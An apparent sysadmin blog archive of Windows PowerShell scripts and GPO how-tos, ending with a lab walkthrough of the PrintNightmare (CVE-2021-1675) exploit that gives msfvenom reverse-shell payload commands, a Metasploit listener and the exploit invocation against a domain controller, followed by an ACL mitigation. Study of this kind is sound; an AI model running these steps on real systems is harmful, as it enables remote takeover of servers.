Tag Archives: Microsoft

Get LastReboot and Uptime value on Windows 10 and Windows Server via PS

In this lab, I have used PS to get LastReboot and Uptime value on Windows servers and clients. PS script will query “Get-WmiObject” to get the last boot time of the computers/servers.

Firstly, I will test with Windows Servers.

$OS1 = Get-WmiObject Win32_OperatingSystem -ComputerName DC1 -ErrorAction Stop
$LastReboot =($OS1.ConvertToDateTime($OS1.LastBootUpTime))
# Print LastReboot
$LastReboot
$Uptime = (Get-Date) -$OS1.ConvertToDateTime($OS1.LastBootUpTime)
$Uptime  = ([String]$Uptime.Days + " Days " + $Uptime.Hours + " Hours " + $Uptime.Minutes + " Minutes")
# Print uptime

Write a full PS script.

# This script is written by Tung on 2022-02-18
# This is used to get lastreboot and uptime on Windows servers.
# Get time when running the script
$filename = (Get-Date).tostring("dd-MM-yyyy-hh-mm")
# Change PowerShell working directory to C:\Shared
Set-Location C:\Shared
#$TestComputerName = get-content C:\Shared\tungmachine.txt
$servers = (Get-ADComputer -properties OperatingSystem -filter{(operatingsystem -like "*Windows Server*")}).name
Foreach ($server in $servers) {
        # Only check the machine if it is online
        $ping_result = Test-Connection -ComputerName $server -Count 1 -Quiet
        # If the machine is online
        if($ping_result){
        # Using "Get-WmiObject Win32_OperatingSystem" to get $OS object
        # Using "Get-WmiObject Win32_OperatingSystem -ComputerName $Testcomputer -ErrorAction Stop" to get $OS object on remote machines.
        $OS = Get-WmiObject Win32_OperatingSystem -ComputerName $server -ErrorAction Stop
        # Get LastReboot via $OS.LastBootUpTime variable
        $LastReboot =($OS.ConvertToDateTime($OS.LastBootUpTime)).tostring("dd-MM-yyyy")    
        # Get Uptime via $OS.LastBootUpTime variable
        $Uptime = (Get-Date) -$OS.ConvertToDateTime($OS.LastBootUpTime)
        # Create a hash table (dictionary type) with 3 columns: PSComputerName, LastReboot and Uptime
        $lastlogonproperties = @{
        # Add PSComputerName into column #1
        PSComputerName  = $server
        # Convert and only get dd-mm-yyyy on last reboot variable.
        # Add LastReboot into column #2
        # Only get dd-mm-yyy field on LastReboot record.
        LastReboot =($OS.ConvertToDateTime($OS.LastBootUpTime)).tostring("dd-MM-yyyy")
        # Add LastReboot into column #3
        Uptime  = ([String]$Uptime.Days + " Days " + $Uptime.Hours + " Hours " + $Uptime.Minutes + " Minutes")
        }

    # Create a new table object on PS to append the hash table values above   
    $forcecsv = New-Object psobject -Property $lastlogonproperties
    # change order of columns before appending to csv file. 
    # Convert it to csv file and save under LastReboot directory.
    $forcecsv | select-object PSComputerName, LastReboot, Uptime | export-csv -NoTypeInformation -append "C:\Shared\LastReboot\Server\$filename.csv"
    }
}

Run the script.

Then, do the same PS script to query Windows 10 machines.

Change “(operatingsystem -like “*Windows Server*”)” to (operatingsystem -like “*Windows 10*”)

$computers = (Get-ADComputer -properties OperatingSystem -filter{(operatingsystem -like "*Windows 10*")}).name
# This script is written by Tung on 2022-02-18
# This is is used t get lastreboot and uptime on Windows 10 machines.
# Get time when running the script
$filename = (Get-Date).tostring("dd-MM-yyyy-hh-mm")
# Change PowerShell working directory to C:\Shared
Set-Location C:\Shared
#$TestComputerName = get-content C:\Shared\tungmachine.txt
$computers = (Get-ADComputer -properties OperatingSystem -filter{(operatingsystem -like "*Windows 10*")}).name
Foreach ($Computer in $computers) {
        # Only check the machine if it is online
        $ping_result = Test-Connection -ComputerName $Computer -Count 1 -Quiet
        # If the machine is online
        if($ping_result){
        # Using "Get-WmiObject Win32_OperatingSystem" to get $OS object
        # Using "Get-WmiObject Win32_OperatingSystem -ComputerName $Testcomputer -ErrorAction Stop" to get $OS object on remote machines.
        $OS = Get-WmiObject Win32_OperatingSystem -ComputerName $Computer -ErrorAction Stop
        # Get LastReboot via $OS.LastBootUpTime variable
        $LastReboot =($OS.ConvertToDateTime($OS.LastBootUpTime)).tostring("dd-MM-yyyy")    
        # Get Uptime via $OS.LastBootUpTime variable
        $Uptime = (Get-Date) -$OS.ConvertToDateTime($OS.LastBootUpTime)
        # Create a hash table (dictionary type) with 3 columns: PSComputerName, LastReboot and Uptime
        $lastlogonproperties = @{
        # Add PSComputerName into column #1
        PSComputerName  = $Computer
        # Convert and only get dd-mm-yyyy on last reboot variable.
        # Add LastReboot into column #2
        # Only get dd-mm-yyy field on LastReboot record.
        LastReboot =($OS.ConvertToDateTime($OS.LastBootUpTime)).tostring("dd-MM-yyyy")
        # Add LastReboot into column #3
        Uptime  = ([String]$Uptime.Days + " Days " + $Uptime.Hours + " Hours " + $Uptime.Minutes + " Minutes")
        }

    # Create a new table object on PS to append the hash table values above   
    $forcecsv = New-Object psobject -Property $lastlogonproperties
    # change order of columns before appending to csv file. 
    # Convert it to csv file and save under LastReboot directory.
    $forcecsv | select-object PSComputerName, LastReboot, Uptime | export-csv -NoTypeInformation -append "C:\Shared\LastReboot\Client\$filename.csv"
    }
}

Run the script.

Check Windows Defender status on a Windows computer

According to Microsoft, (https://www.microsoft.com/security/blog/2021/05/11/gartner-names-microsoft-a-leader-in-the-2021-endpoint-protection-platforms-magic-quadrant/), Microsoft Windows Defender becomes a Leader in the 2021 Endpoint Protection Platforms Magic Quadrant.

Checking Windows Defender status on a Windows computer.

Get-MpComputerStatus | Select-Object -Property Antivirusenabled,AMServiceEnabled,AntispywareEnabled,BehaviorMonitorEnabled,IoavProtectionEnabled,NISEnabled,OnAccessProtectionEnabled,RealTimeProtectionEnabled,AntivirusSignatureLastUpdate
PS script to check Windows Defender service on Windows domain-joined machine.
[CmdletBinding()]
 
Param
(
    [Parameter(Mandatory=$false,
                ValueFromPipelineByPropertyName=$true,
                ValueFromPipeline=$true
                )]
    [string[]]$ComputerName = $env:COMPUTERNAME
)

$result=@()
$ErrorActionPreference="SilentlyContinue"

$filename = (Get-Date).tostring("dd-MM-yyyy-hh-mm")
# Query Windows 10 domain-joined on Active Directory
$computername = (Get-ADComputer -filter {OperatingSystem -Like '*Windows 10*'}).name
foreach($computer in $computername){
    $ping_result = Test-Connection -ComputerName $computer -Count 1 -Quiet
        if($ping_result){
        $result=Invoke-Command -ComputerName $computer {Get-MpComputerStatus | Select-Object -Property Antivirusenabled,AMServiceEnabled,AntispywareEnabled,BehaviorMonitorEnabled, `
        IoavProtectionEnabled,NISEnabled,OnAccessProtectionEnabled,RealTimeProtectionEnabled,AntivirusSignatureLastUpdated}
        }
        If ($result) {
                     $result+=New-Object -TypeName PSObject -Property ([ordered]@{
                    'Computer'=$result.PSComputername
                    'AntiVirusStatus'=$result.AntivirusEnabled
                    'AV Update'=$result.AntivirusSignatureLastUpdated
                    'Anti-Malware'=$result.AMServiceEnabled
                    'Anti-Spyware'=$result.AntispywareEnabled
                    'Behavior Monitor'=$result.BehaviorMonitorEnabled
                    'Office-Anti-Virus'=$result.IoavProtectionEnabled
                    'NIS'=$result.NISEnabled
                    'AccessProtection'=$result.OnAccessProtectionEnabled
                    'RelatimeProtection'=$result.RealTimeProtectionEnabled
                    })
                    }
}
Write-Output $result_WD

Run the PS script.

PowerShell commands and notes

PowerShell commands and notes:

#Recursive file search using PowerShell
Get-ChildItem -Path C:\ -Filter *Graylog* -Recurse -ErrorAction SilentlyContinue -Force
#checkdate in the last 24 hours
$checkdate = (Get-Date).AddHours(-24)
#check all files have been modified in the last 24 hours and output file name, size and the time was last modified
Get-ChildItem -Path C:\Shared -file -Recurse | Where-Object {$_.LastWriteTime -ge $checkdate} | Select-Object -Property Fullname,Length,LastWriteTime
#checkdate in the last 90days
$checkdate = (Get-Date).AddDays(-90)
#check files on the  C:\users\Administrator\Downloads directory and at least 100MB in size and LastWriteTime is less than $checkdate. Then output the result to csv file.
$files = Get-ChildItem -Path C:\users\Administrator\Downloads -file -Recurse |
Where-Object {$_.length -ge 100MB -AND $_.LastWriteTime -le $checkdate} |
Select Fullname,Length,CreationTime,LastWriteTime |
Export-CSV -Path myfiles-90days_100MB.csv

Check WinRM service is running on a remote host.

Test-NetConnection -ComputerName WIN10NEW11 -Port 5985 -WarningAction SilentlyContinue
#shows the last computer name started, running.
get-CimInstance -ClassName win32_operatingsystem -ComputerName $env:computername | Select-Object -property PSComputerName, LastBootUpTime, {(Get-Date) - $_.lastbootuptime}

Get Antivirus Product is installed and its status with PowerShell.

Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct

List the user accounts in the local administrator group in a Windows machine.

Get-CimInstance win32_group -filter "name = 'administrators' AND LocalAccount = 'true'" | Get-CimAssociatedInstance -ResultClassName win32_useraccount

List all installed software that has a name defined in a Windows machine.

Get-CimInstance win32_product -filter "name like '%'" | Select-Object -property Name,Vendor,Version,Description,InstallDate

Check if Wordpad is running, kills the Wordpad process, and then creates a sample text file that includes the current date that kills the process.

(Get-Process wordpad -ea silentlycontinue) -and (stop-process -name wordpad) -and ("$(Get-Date) killed wordpad") | Out-file C:\Shared\wordpadlog.txt

Search any files that have file extension is .srt on D:\Shared folder, then remove them.

Check before removing.
PS D:\Get-Childitem -path "D:\Shared" -Filter *.srt -Recurse -ErrorAction SilentlyContinue -Force | Remove-Item -Force -Whatif


PS D:\Get-Childitem -path "D:\Shared" -Filter *.srt -Recurse -ErrorAction SilentlyContinue -Force | Remove-Item -Force

Install IIS Web server via PS.

Add-WindowsFeature Web-Server, Web-WebServer, Web-Common-Http, Web-Default-Doc, Web-Dir-Browsing, Web-Http-Errors, Web-Static-Content, Web-Health, Web-Http-Logging, Web-Log-Libraries, Web-Request-Monitor, Web-Performance, Web-Stat-Compression, Web-Security, Web-Filtering, Web-Windows-Auth, Web-App-Dev, Web-Net-Ext45, Web-Asp-Net45, Web-ISAPI-Ext, Web-ISAPI-Filter, Web-Mgmt-Tools, Web-Mgmt-Console, Web-Mgmt-Compat, Web-Metabase, NET-Framework-45-Features, NET-Framework-45-Core, NET-Framework-45-ASPNET, NET-WCF-Services45, NET-WCF-HTTP-Activation45, NET-WCF-TCP-PortSharing45, WAS, WAS-Process-Model, WAS-Config-APIs -restart

Install Active Directory module via PS.

Import-Module ServerManager
Add-WindowsFeature -Name "RSAT-AD-PowerShell" –IncludeAllSubFeature

# Check the installation status of a module
Get-WindowsFeature RSAT-AD-PowerShell

Shut down and Restart Windows machine.

# Stop-Computer -Force -WhatIf
Stop-Computer -Force
# Restart-Computer -Force -WhatIf
Restart-Computer -Force
# Delay restart on 5 seconds
Start-Sleep -Seconds 5 ; Restart-Computer -Force
# Restart machine remotely
Restart-Computer -ComputerName PC1 -Force
# Restart-Computer (Multiple Windows 10 domain joined clients)

(Get-ADComputer -Filter 'operatingsystem -notlike "*server*"').Name | Restart-Computer -Force -ErrorAction silentlycontinue

Get, stop and start Windows services.

Get-Service
# search Windows updates service.
Get-Service | where-object {$_.name -like "*wuauserv*"}
# Start Windows updates service.
Start-Service wuauserv -PassThru
# Stop Windows updates service.
Stop-Service wuauserv -PassThru
# Get Windows updates status
Get-Service -name wuauserv
# Change statustype 
Set-Service -name wuauserv -StartupType Disabled -Status Stopped

Deploy Ublock Origin Ad blocker via a GPO

According to (https://github.com/gorhill/uBlock), Ublock Origin is an efficient blocker add-on for various browsers. Fast, potent, and lean. uBlock Origin is NOT an “ad blocker”: it is a wide-spectrum blocker — which happens to be able to function as a mere “ad blocker”. The default behavior of uBlock Origin when newly installed is to block ads, trackers, and malware sites.

+ Create a central store for GPO

Copies Chrome, Firefox, MS Edge Policy templates under C:\Windows\SYSVOL\sysvol\cisalab.local\Policies\PolicyDefinitions (copy to C:\Windows\SYSVOL\sysvol rather than \\SERVER\SYSVOL folder)

Google Chrome:

https://support.google.com/chrome/a/answer/187202?hl=en#zippy=%2Cwindows

Firefox:

https://support.mozilla.org/en-US/kb/customizing-firefox-using-group-policy-windows

MS Edge:

https://www.microsoft.com/en-us/edge/business/download

+ Create a new Ublock Origin GPO.

+ Configure UBlock Origin GPO.

Google Chrome. Control which extensions are installed silently – Enabled cjpalhdlnbpafiamejdnhcphjbkeiagm;https://clients2.google.com/service/update2/crx

Firefox:

Extensions to Install – Enabled

https://addons.mozilla.org/firefox/downloads/file/3886236/ublock_origin-1.40.2-an+fx.xpi

MS Edge:

Control which extensions are installed silently – Enabled odfafepnkmbhccpbejgmiehpchacaeak;https://edge.microsoft.com/extensionwebstorebase/v1/crx

+ Link UBlock Origin GPO to Domain computers group.

+ Restart Windows 10 domain-joined client to test.

Ublock Origin has been installed automatically on Windows 10 domain clients.

Get Current Windows OS build version

This is a PS code to get the current Windows OS build version. It is based on (“https://smsagent.blog/2017/05/18/find-the-full-windows-build-number-with-powershell/”)


Function Get-WindowsVersion{

[CmdletBinding()]

Param
(
    [Parameter(Mandatory=$false,
                ValueFromPipelineByPropertyName=$true,
                ValueFromPipeline=$true
                )]
    [string[]]$ComputerName = $env:COMPUTERNAME
)

Begin
{
    $Table = New-Object System.Data.DataTable
    $Table.Columns.AddRange(@("ComputerName","Windows Edition","Version","OS Build"))
}
Process
{
    Foreach ($Computer in $ComputerName)
    {
        $Code = {
            $ProductName = (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' –Name ProductName).ProductName
            Try
            {
                $Version = (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' –Name ReleaseID –ErrorAction Stop).ReleaseID
            }
            Catch
            {
                $Version = "N/A"
            }
            $CurrentBuild = (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' –Name CurrentBuild).CurrentBuild
            $UBR = (Get-ItemProperty 'HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion' –Name UBR).UBR
            $OSVersion = $CurrentBuild + "." + $UBR


           # Get-CimInstance Win32_OperatingSystem to list Build number in the machine
            $getOS = gcim Win32_OperatingSystem 
            # Assign the initial value for this variable
            $currentOSVersion = "Unknown OS"
            # Check Build number is corresponding with Windows 10 and Windows Server OS edition.
            # https://docs.microsoft.com/en-us/windows/release-health/release-information 
            # https://docs.microsoft.com/en-us/windows-server/get-started/windows-server-release-info

             Switch -WildCard ($getOS.BuildNumber){
            # if BuildNumber is 19043, Windows version is Windows 10 21H1 and so on.
            '*19043*'{$currentOSVersion = "21H1"}
            '*19042*'{$currentOSVersion = "20H2"}
            '*19041*'{$currentOSVersion = "2004"}
            '*18363*'{$currentOSVersion = "1909"}
            '*18362*'{$currentOSVersion = "1903"}
            '*17763*'{$currentOSVersion = "1809"}

            # if BuildNumber is 14393, Windows version is Windows Server 2016 version 1067 and so on.
            '*14393*'{$currentOSVersion = "1607"}
            '*17763.107*'{$currentOSVersion = "1809"}
            '*18363.418*'{$currentOSVersion = "1909"}
            '*19041.264*'{$currentOSVersion = "2004"}
            '*19042.508*'{$currentOSVersion = "20H2"}
            '*20348.169*'{$currentOSVersion = "2022"}
            }

            $TempTable = New-Object System.Data.DataTable
            $TempTable.Columns.AddRange(@("ComputerName","Windows Edition","Version","OS Build"))
            [void]$TempTable.Rows.Add($env:COMPUTERNAME,$ProductName,$currentOSVersion,$OSVersion)
        
            Return $TempTable
        }

        If ($Computer -eq $env:COMPUTERNAME)
        {
            $Result = Invoke-Command –ScriptBlock $Code
            [void]$Table.Rows.Add($Result.Computername,$Result.'Windows Edition',$Result.Version,$Result.'OS Build')
        }
        Else
        {
            Try
            {
                $Result = Invoke-Command –ComputerName $Computer –ScriptBlock $Code –ErrorAction Stop
                [void]$Table.Rows.Add($Result.Computername,$Result.'Windows Edition',$Result.Version,$Result.'OS Build')
            }
            Catch
            {
                $_
            }
        }

    }

}
End

{
    Return $Table
}
}

Run the command.

PS C:\shared\ Get-MyWindowsVersion

Query all Windows 10 domain-joined on Active Directory.

(Get-ADComputer -filter {OperatingSystem -Like '*Windows 10*'})

Query all Windows Server 2016 domain-joined on Active Directory.

Get-ADComputer -filter {OperatingSystem -Like '*Windows Server*'}

A script to detect Windows 10 OS’s current patch version if the machine is online.

$filename = (Get-Date).tostring("dd-MM-yyyy-hh-mm")
# Query Windows 10 domain-joined on Active Directory
$computername = (Get-ADComputer -filter {OperatingSystem -Like '*Windows 10*'}).name
foreach($computer in $computername){
    $ping_result = Test-Connection -ComputerName $computer -Count 1 -Quiet
        if($ping_result){
        get-windowsversion -computer $computer
#        | Select-Object -Property ComputerName,  'Windows Edition', Version, 'OS build' |
#        Sort-Object 'OS build' | export-csv -NoTypeInformation -Append "$filename.csv"
        }
        else{
            Write-Host "Host ICMP: failure"
        }
    }
Save the output to csv file

# Get date when running the script
$filename = (Get-Date).tostring("dd-MM-yyyy-hh-mm")
# Query Windows 10 domain-joined on Active Directory
$computername = (Get-ADComputer -filter {OperatingSystem -Like '*Windows 10*'}).name
foreach($computer in $computername){
        # the machine is offline if the script is not ablt to get any echo reply from sending 3 echo requests
        $ping_result = Test-Connection -ComputerName $computer -Count 3 -Quiet
        # if the machine is online
        if($ping_result){
        # get Windows 10 current patch information and append the result yo csv file
            get-windowsversion -computer $computer | 
            Select-Object -Property ComputerName,  'Windows Edition', Version, 'OS build' |
            Sort-Object 'OS build' | export-csv -NoTypeInformation -Append "$filename.csv"
        }
#        else{
#            Write-Host "Host ICMP: failure"
#        }
}

Workaround solution to fix “Windows failed to apply the Deployed Printer Connections settings” issue

Last year, Microsoft released the patch for “Windows Print Spooler Remote Code Execution Vulnerability” (https://msrc.microsoft.com/update-guide/vulnerability/CVE-2021-34481), then Deployment Printers stopped working with the new profile. I still do not know why it will take a long time since July last year to permanently fix the issue.

Windows 10 clients cannot find our printers on Control Panel and access the printers with the “Operation failed with error 0x0000011b”.

Below is a workaround solution to fix the issue.

Create a new Dword-32 entry is RpcAuthnLevelPrivacyEnabled with its value is 0 as the following screenshot.

HKLM\SYSTEM\CurrentControlSet\Control\Print
RpcAuthnLevelPrivacyEnabled = 0

Go to Printer GPO – Computer setting – Administrative Templates – Printers – Point and Print Restrictions. Add a couple of pieces of information like the screenshot below.

Restart Windows clients, we can see our printers are showing up.

Force installing Windows updates via PowerShell PSWindowUpdates

F_PSWindowsUpdates.PS1 is shared on \\DC1\Shared

# This is PowerShell script to force on installing Windows Updates via PSWindowsUpdate on Windows machines
# https://www.powershellgallery.com/packages/PSWindowsUpdate/2.2.0.2
# It is created on 2021-10-21
# Allow PowerShell to be run on Windows machines with PSWindowsUpdate module
Set-ExecutionPolicy RemoteSigned
# Installs everything (newest version) along with required modules.
Install-Module PSWindowsUpdate
# Import Module PSWindowsUpdate before running the script
Import-Module -Name PSWindowsUpdate
# Force Windows updates are completely downloaded, installed and then restarted. Will check if we have a WSUS server
Install-WindowsUpdate -AcceptAll -AutoReboot
# Send an email after running PSWindowsUpdate command
# Will send email if the last previous command is successful.
if ($? -eq $True){
        # Use this command for TLS requirement
        [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
        # Get machine name
        $machinename = get-content env:computername
        # Get current date and time
        $currentdate = get-date
        # Get current date and time
        $currentdate = get-date
        # SMTP server of Xyz.com</p>
        $SMTP = "smtp-mail.xyz.com"
        # Mail from<
        $From = "youremail@xyz.com"
        # Rcpt to
        $To = "youremail@xyz.com"# Subject line
        $Subject = "Windows updates on $cname"
        # Email body
        $Body = "Finising running Windows updates on $machinename on $currentdate"
        #Create a connection to SMTP Outlook via the port 587</p>
        $Email = New-Object Net.Mail.SmtpClient($SMTP, 587)
        # Enable SSL for the connection
        Email.EnableSsl = $true
        #Log in to xyz mail server with your credential
        $Email.Credentials = New-Object System.Net.NetworkCredential("youremail@xyz.com", "yourpassword");
        # Send email syntax
        $Email.Send($From, $To, $Subject, $Body)
}

Assign this script on Task Scheduler.

Create Office 365 online

Choose your Office 365 package.

Login to Microsoft 365 Admin center.

Add your domain name.

Verify your domain name.

Microsoft will connect to your GoDaddy Service Provider to create DNS records for your domain name.

Check on your GoDaddy domain site, DNS records has been successfully created on GoDaddy.

Change your primary account to admin@tungle.ca.

Change it to unlicensed.

Create a new Admin account on MS 365 Admin Center.

Link your license to your domain name.

Assign permission for this account.

Edit your billing license and extend it to 2 expiring months.

And then select “Extend end date” setting. Your Office 365 license will be expired in the next 2 months.

Lab Demonstration for Windows Print Spooler 0day Exploit on CVE-2021-1675

References:

https://www.huntress.com/blog/critical-vulnerability-printnightmare-exposes-windows-servers-to-remote-code-execution

The exploit code

https://github.com/cube0x0/CVE-2021-1675/blob/main/CVE-2021-1675.py

Step1: Setup the Lab

1 DC1 (dc1.cisalab.local) is running Windows 2016 with IP address is 10.0.0.77

Print Spooler service is running on the DC.

1 Kali Linux (AT) with IP address is 10.0.0.191.

Step 2: How to set up Kali

Upgrade Python

sudo apt-get update

sudo apt-get upgrade

sudo apt-get install python3-venv

1. The best practice is to create Python virtual Environment

python3 -m venv PrintNightmare

source PrintNightmare/bin/activate

2. clone the repo and install the custom Impacket version:

git clone https://github.com/cube0x0/CVE-2021-1675.git

git clone https://github.com/cube0x0/impacket

cd impacket

python3 ./setup.py install

3. Set up SMB share

(Use this method to allow the Windows servers to download the malicious codes on AT machine)

copy the original smb.conf file and create a backup file

cp /etc/samba/smb.conf /etc/samba/smb.conf.bak

now on the smb.conf change to this new configuration File

[global]

map to guest = Bad User

server role = standalone server

usershare allow guests = yes

idmap config * : backend = tdb

smb ports = 445 [smb]

comment = Samba

path = /tmp/

guest ok = yes

read only = no

browsable = yes

force user = nobody

Spin up SMB share: impacket-smbserver smb /tmp/

In case you have some problems with the SMB try to use build-in SMBD service

service smbd start

service smbd restart

4. Payload Creation:

Create Reverse shell Payload as a DLL

msfvenom -a x64 -p windows/x64/shell_reverse_tcp LHOST=<YOUR AT IP> LPORT=<PORT TO LISTEN> -f dll -o /tmp/rev.dll

AT creates a reverse shell connection with IP address is 10.0.0.191 (AT) and the destination port is 443. The shell code will be dropped on the Windows servers on /tmp/reverse.dll

msfvenom -f dll -p windows/x64/shell_reverse_tcp LHOST=10.0.0.191 LPORT=443 -o /tmp/reverse.dll

5. Set up a listener Use Metasploit tool to create a revere shell session (a listener)

msfconsole

use multi/handler

set PAYLOAD windows/x64/shell_reverse_tcp

set LHOST 10.0.0.191

set LPORT 443 run

6. Windows Environment:

you need to create a dc with an active directory (cisalab.local) create a low privilege user (test/123456)

7. Download and run shellcode

python3 CVE-2021-1675.py tle:123456@10.0.0.77 ‘\\10.0.0.191\smb\reverse.dll’

AT will create a connection to Windows server (DC1 – 10.0.0.77) with username/password is tle/123456.

Then the malicious code will be downloaded and run from the AT machine (\\10.0.0.191\smb\reverse.dll). After that, if the shellcode works then a reverse shell connection from Windows server to AT machine.

Step 3. Live Demonstration

The shell code is running on the AT machine

python3 CVE-2021-1675.py cisalab.local/tle:123456@10.0.0.77 '\\10.0.0.191\smb\reverse.dll' 

The malicious code is downloaded but it is blocked by Windows Defender on Windows servers

So, the shellcode cannot run on the Windows servers with Windows Defenders which is running.

If Windows Defender is disabled.

Run the exploit code again.

We can see a reverse shell connection has been established on the Windows server (DC) and AT machine. The connection seems to be an HTTPS connection, so it is hard to detect because of encryption.

The AT has a cmd shell with SYSTEM permission on the victim machine. That means the AT can do everything on it. Checking on Windows server (DC1), trojan code has been created on DC1 under x64 directory on “C:\Windows\System32\spool\drivers\”.

The shell code (reverse.dll) is successfully dropped on the folder named “3”. It may be a name when AT has created a reverse shell session.

Step 4: PREVENTION when the print spooler service is still running

Using PowerShell to create a ACL to prevent the malicious code to drop on the “C:\Windows\System32\spool\drivers\”

https://blog.truesec.com/2021/06/30/fix-for-printnightmare-cve-2021-1675-exploit-to-keep-your-print-servers-running-while-a-patch-is-not-available/

Before applying the ACL.

After implementing the ACL.

By restricting the ACLs on this directory (and subdirectories) we can prevent malicious DLLs to be introduced by the print spooler service. The exploit works by dropping a DLL in a subdirectory under C:\Windows\System32\spool\drivers.

Run the exploit code again.

The trojan code cannot put its files on the directory (“RPRN SessionError: code: 0x3 – ERROR_PATH_NOT_FOUND – The system cannot find the path specified.”).

There is no trojan code has put on the directory.

Install PSWindowsupdates module via GPO

Create a GPO “Install PSWindowsUpdates Module”.

Actions Settings:

Program: %SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe

Arguments: -ExecutionPolicy Bypass -File \DC1\Shared\install-PSWindowsupdate.PS1

Set-ExecutionPolicy RemoteSigned
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
Install-PackageProvider -Name NuGet -MinimumVersion 2.8.5.201 -Force
Set-PSRepository -Name 'PSGallery' -InstallationPolicy Trusted
Install-Module PSWindowsUpdate -Force

On Windows 10 PC:

Restarts the machine.

The task is running.

Check Task Manager and see PowerShell is running.

# Check PSWindowsUpdates has been installed.
Get-InstallModule

Create another GPO for installing Windows updates via the PSWindowsUpdates module.

Arguments: -ExecutionPolicy Bypass -File \\DC1\Shared\NewPS.PS1

PSWindowsUpdates script (\\DC1\Shared\newPS.PS1)

# This is PowerShell script to force on installing Windows Updates via PSWindowsUpdate on Windows machines
# https://www.powershellgallery.com/packages/PSWindowsUpdate/2.2.0.2
# It is created by Tung on 2021-Sep-28
# Allow PowerShell to be run on Windows machines with PSWindowsUpdate module
Set-ExecutionPolicy RemoteSigned
# Installs everything (newest version) along with required modules.
#Install-Module PSWindowsUpdate
# Import Module PSWindowsUpdate before running the script
Import-Module -Name PSWindowsUpdate
#Force Windows updates are completely downloaded, installed and then restarted. Will check if we have a WSUS server
Install-WindowsUpdate -AcceptAll -AutoReboot

# Send an email after running PSWindowsUpdate command
# Will send email if the last previous command is successful. 
if ($? -eq $True){
	# Use this command for TLS requirement
	[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
	# Get machine name 
	$machinename = get-content env:computername
	# Get current date and time
	$currentdate = get-date
	# SMTP server of Outlook.com
	$SMTP = "smtp-mail.outlook.com"
	# Mail from
	$From = "youremail"
	# Rcpt to 
	$To = "youremail"
	# Subject line 
	$Subject = "Windows updates on $cname"
	# Email body
	$Body = "Finising running Windows updates on $machinename on $currentdate"
	# Create  a connection to SMTP Outlook via the port 587
	$Email = New-Object Net.Mail.SmtpClient($SMTP, 587)
	# Enable SSL for the connection
	$Email.EnableSsl = $true
	# Log in to Outlook mail server with your credential
	$Email.Credentials = New-Object System.Net.NetworkCredential("youremail", "yourpassword");
	# Send email syntax
	$Email.Send($From, $To, $Subject, $Body)
}

Windows 10: